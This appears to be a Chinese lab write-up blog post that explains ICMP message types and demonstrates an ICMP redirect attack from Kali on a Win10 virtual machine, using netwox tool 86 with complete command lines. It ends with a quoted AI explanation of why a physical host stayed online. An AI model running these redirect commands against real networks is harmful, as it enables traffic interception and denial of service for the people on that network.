ICMP协议及重定向攻击实验

目录

​编辑

一、ICMP基本概念

1、概念

2、ICMP报文格式

二、ICMP重定向攻击实验

三、问题


一、ICMP基本概念

1、概念

(1)Internet控制报文协议,用于IP主机与路由器之间,传递控制消息,检测网络是否通信,主机是否可达等

(2)ICMP是属于网络层的协议,封装在传输层与网络层之间

(3)常见命令如ping、traceroute

2、ICMP报文格式

(1)常见报文

  类型(type)   代码(code)

(0   0)回显应答(正常的应答)

(3   1)目标不可达(主机不可达)

(3   2)协议不可达

(3   3)目标不可达(端口不可达)

  类型4   源抑制

(5   0)重定向(网络重定向)

(5   1)主机重定向

(8   0)响应请求

(11   0)超时(传输期间生存时间为0)

  类型13   时间戳请求

  类型14   时间戳应答

二、ICMP重定向攻击实验

1、准备两台机器,处于同一网段且相互可以通信

kali(攻击机) win10(靶机)

2、攻击

在kali中下载netwox工具

apt-get install netwox

下载完成检测确认win10是否可以正常上网

确认之后在kali输入指令

netwox 86 -g 192.168.31.238 -i 192.168.31.1

“-g”输入kali的IP地址,“-i”为网关地址

此时win10已无法正常上网

还可以指定目标主机IP地址进行攻击,效果相同

netwox 86 -f "host 192.168.126.131" -g "192.168.126.130" -i "192.168.126.2"

“-f”为靶机IP地址

在win10上抓包会发现携带的报文网关变为192.168.31.238(kali地址)

结束攻击后靶机可以正常上网

工具netwox使用86号ICMP重定向,工具使用方法在下方链接

web.ecs.syr.edu/~wedu/Teaching/cis758/netw522/netwox-doc_html/tools/index.html

三、问题

此实验在虚拟机完成,在攻击物理机时发现物理机仍可以上网,下面是ai给出的答案

在ICMP重定向攻击中,攻击者试图通过发送伪造的ICMP重定向消息来误导目标主机更改其路由表中的默认网关或特定目的地址的路由。如果成功,部分或者全部原本应流向正确网关的数据包会转而经过攻击者的设备。但是:

1. **局部影响**:即使目标主机接受了错误的重定向信息并更新了路由表,这并不意味着所有的网络流量都会受到干扰。只有那些原本按照错误路由路径进行转发的流量才会受到影响。

2. **多路由设置**:现代操作系统和网络环境常常有多条可用路由,即使某个默认路由被篡改,其他有效的路由仍然可以继续处理网络通信,使得用户能够访问互联网。

3. **防御机制**:许多操作系统和防火墙软件都有防止非法ICMP重定向报文修改路由表的安全措施。

4. **数据传输协议多样性**:实际的网页浏览、文件下载等服务使用的是TCP和UDP协议,而不是ICMP协议,因此这些核心服务不会直接因为ICMP重定向攻击而中断。

所以,在遭受ICMP重定向攻击后,除非攻击导致了路由严重混乱以至于所有互联网流量都无法正常路由,否则一般情况下用户的上网功能是可以维持的。然而,由于路由被篡改,可能会出现某些特定网络服务受影响的情况,具体取决于攻击的影响范围和目标主机系统的响应策略。

  • 15
    点赞
  • 22
    收藏
    觉得还不错? 一键收藏
  • 3
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 3
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值